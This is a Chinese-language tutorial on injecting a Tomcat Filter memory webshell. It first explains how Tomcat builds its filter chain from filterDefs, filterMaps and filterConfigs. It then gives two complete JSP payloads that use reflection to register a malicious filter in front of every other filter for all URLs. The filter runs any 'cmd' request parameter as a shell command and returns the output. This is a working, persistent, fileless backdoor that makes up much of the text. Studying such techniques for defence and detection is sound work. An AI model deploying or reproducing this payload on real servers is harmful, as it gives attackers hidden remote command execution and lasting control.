原理:
Servlet 有自己的过滤器 filter , 可以通过自定义的过滤器,来对用户的请求进行拦截等操作。
经过filter 之后才会刀Servlet ,如果我们动态创建一个 filter 并且将其放在最前面,我们的filter 就会最先被执行,当我们在filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存webshell,所以就需要我们想办法在最前方注册一个恶意的filter 并执行。
提前说一下大致的注册流程,通过request对象获取StandardContext对象,然后设置一下三个变量
- 存放每个filter 的类位置: org.apache.catalina.core.StandardContext#filterDefs
- 存放每个filter的url 映射: org.apache.catalina.core.StandardContext#filterMaps
- 存放每个filter的配置,构建 filterChain 用到的变量 org.apache.catalina.core.StandardContext#filterConfigs
filter的注册、运行主要涉及以上三个变量。
filter 的注解初始化
跟踪一下filter 的 注解 是如何初始化的,看看把 filter 的相关信息存放到什么位置。
在Servlet 中,写Filter 有两种方式,一种是把filte配置写到 web.xml中,一种就是写注解:
@WebFilter("/*")
写web.xml:
两种方式皆可,我这里是 直接写禁了 web.xml 了
大致流程图:
运行后成功触发:
每一次 访问都会经过filter 再到达 servlet。
再来看看我们后面会要用到的几个类:
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
- WebXml:存放 web.xml 中内容的类
- ContextConfig:Web应用的上下文配置类
- StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
调用栈:
分析一下 Tomcat 中是如何 将我们自定义的filter 进行设置并调用的:
分析:
可以看到再 StandarWrapperValve#invoke 中 ,通过createFilterChain 方法获得了 一个 ApplicationFilterChain 类型的 filterchain ,其中包含了 filters 有两个值 ,而第一个值就包含了我们传入的自定义filter :
跟进 createFilterChain() ,看看他是如何获取我们的自定义的Filter过滤器 获取了request请求,在通过该申请获取了filterChain
再往下看,context获取了一个StandardContext()
对象,接着用context获取了filterMaps()
主要就是filtername和path
之后经过循环 逐一将 filterMaps 的值传入 filterConfig,最后通过 addFilter 将其传入 filterChain 中
跟进 addFilter() ,他会将 其值都添加到 filters中:
之后回到最初的StandardWrapperValve#invoke createFilterChain() 的部分,往下看, 下面调用了 filterChain.doFilter(),看名字应该就是做过滤了。
跟进这个 doFilter, 最后的else部分调用了:
this.internalDoFilter(request, response);
跟进这个 internalDoFilter() , 看到:
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
他将上面的 createFilterChain 中的一系列操作,获取的 filters[pos++] 值传给 filterConfig,接着传入filter,而这个 filter 也就是我们自定义的 filter 了,所以最后执行 filter.doFilter 后,便跳转到我们自定义的 doFilter 方法中 输出了 “执行过滤操作”
从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码。
总结:
根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
当运行如下:
可以发现程序在创建过滤器链的时候,如果我们能够修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,就可以组装到filterchain里,当访问符合urlpattern的时候,就能达到利用Filter执行内存注入的操作。
内存马动态注册
根据上面内容的最后我们可以知道利用条件,那就得实现动态注册注入内存马,正常来说内存马是用来维持权限的,那么就需要我们拿到服务器的shell,并i企鹅这台服务器的服务时搭建在 Tomcat 上的时候,我们才能实现内存马注入。
根据上面的结论, 我们的目的是要设置 filterConfigs、filterDefs、filterMaps 三个参数,所以我们要通过一些手段获取到这三个变量。
根据上图的结论来看
ServletContext跟StandardContext的关系
Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
如何获取 StandardContext
当我们能直接获取request 的时候 可以直接使用如下方法
将我们的 ServletContext 转为 StandardContext 从而 获取 context
-------当 Web 容器启动的时候会为每个Web 应用都创建一个 ServletContext 对象,代表当前Web应用
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
经过了一些类型强转,主要的目的就是获得这个context ,然后对其中的filter 对象进行修改,并加入我们自己构造的恶意filter,那么下面就开始调试过程。
构造payload的过程
用jsp 页面进行payload 调试,先把web.xml中的所有filter 注释掉
在web目录下新建一个filterDemo.jsp页面
内容为:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "FilterAgent";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
System.out.println(appctx);
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
System.out.println("成功注入!");
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
用jsp 其实就是java 实现servlet的方式,主要的过程就是利用了反射并且将我们构造的filter 加入刀tomcat中,因为我们原来是直接写入到web.xml中,就是直接更改配置文件,这次是通过代码的方式将我们构造的恶意filter 直接加入到 context中直接执行,就省去了web.xml那步
下面开始调试整体代码:
首先是获取context 的过程:
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
System.out.println(appctx);
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
在第一条语句打断点:
在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。通过上面的图可以很清晰的看到两者之间的关系。
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。其实也是层层递归取出context字段的值。
通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
然后
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
是获取(ApplicationContext)context的内容,那么现在我们已经得到了(ApplicationContext)context,我们需要获取到(StandardContext)context的值。看变量值我们可以发现stdctx中的值为
private final org.apache.catalina.core.StandardContext org.apache.catalina.core.ApplicationContext.context
其中存在StandardContext,那么说明ApplicationContext实例中包含了StandardContext实例,这几行代码原理同上,然后我们就得到了我们需要的context
如何修改 filterConfigs,filterDefs,filterMaps
查看StandardContext 的源码,可以看到这几个方法:
addFilterDef 添加一个filterDef 到 context
addFilterMapBefore : 添加filterMap 到所有filter 最前面 ,这样就像是web,xml 里 tomcat的是最后一个 。
还有一个方法:
ApplicationFilterConfig : 为指定的过滤器构造一个新的 ApplicationFilterConfig。
然后我们继续往下看,构造一个恶意的filter ,就用之前的shell_Filters就可以,然后继续往下
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef)
上边代码执行完,我们就会 new 一个FilterDef 对象,并将恶意构造的恶意类添加到filterDefs中
可以看到 filterDefs 添加成功,接下来开始添加 filterMaps 下面的代码时实例化一个FilterMap对象,并且将filterMap 到所有filter最前面。
//创建filterMap,设置filter和url的映射关系,所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
//name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
看到 已经放到了最前面。
filterConfigs装载
FilterCOnfig 存放了filterCOnfig的数组,在FilterConfig 中主要存放 FilterDef 和FIlter 对象等信息
先获取当前filterConfigs 信息:
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
可以看到只有Tomcat 默认的Filter ,下面通过 反射获取构造器 对象 并调用其 newInstance 方法创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
这里是先调用ApplicationFilterConfig.class.getDeclaredConstructor方法,根据context.class 与 filterDef.class 两种参数类型寻找对应的构造方法,获取一个Constructor 类对象。
然后通过newInstance(standardContext, filterDef) 来创建一个实例
然后将恶意的filter名和配置好的filterConfig传入
filterConfigs.put(name,filterConfig);
再次运行可以发现filterMaps中出现了FilterMap中出现了我们构造的filter即FilterAgent
完整代码:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "shell";
// 获取上下文,即standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//获取上下文中 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//创建恶意filter
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//创建对应的FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
//创建对应的FilterMap,并将其放在最前
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//调用反射方法,去创建filterConfig实例
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//将filterConfig存入filterConfigs,等待filterchain.dofilter的调用
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>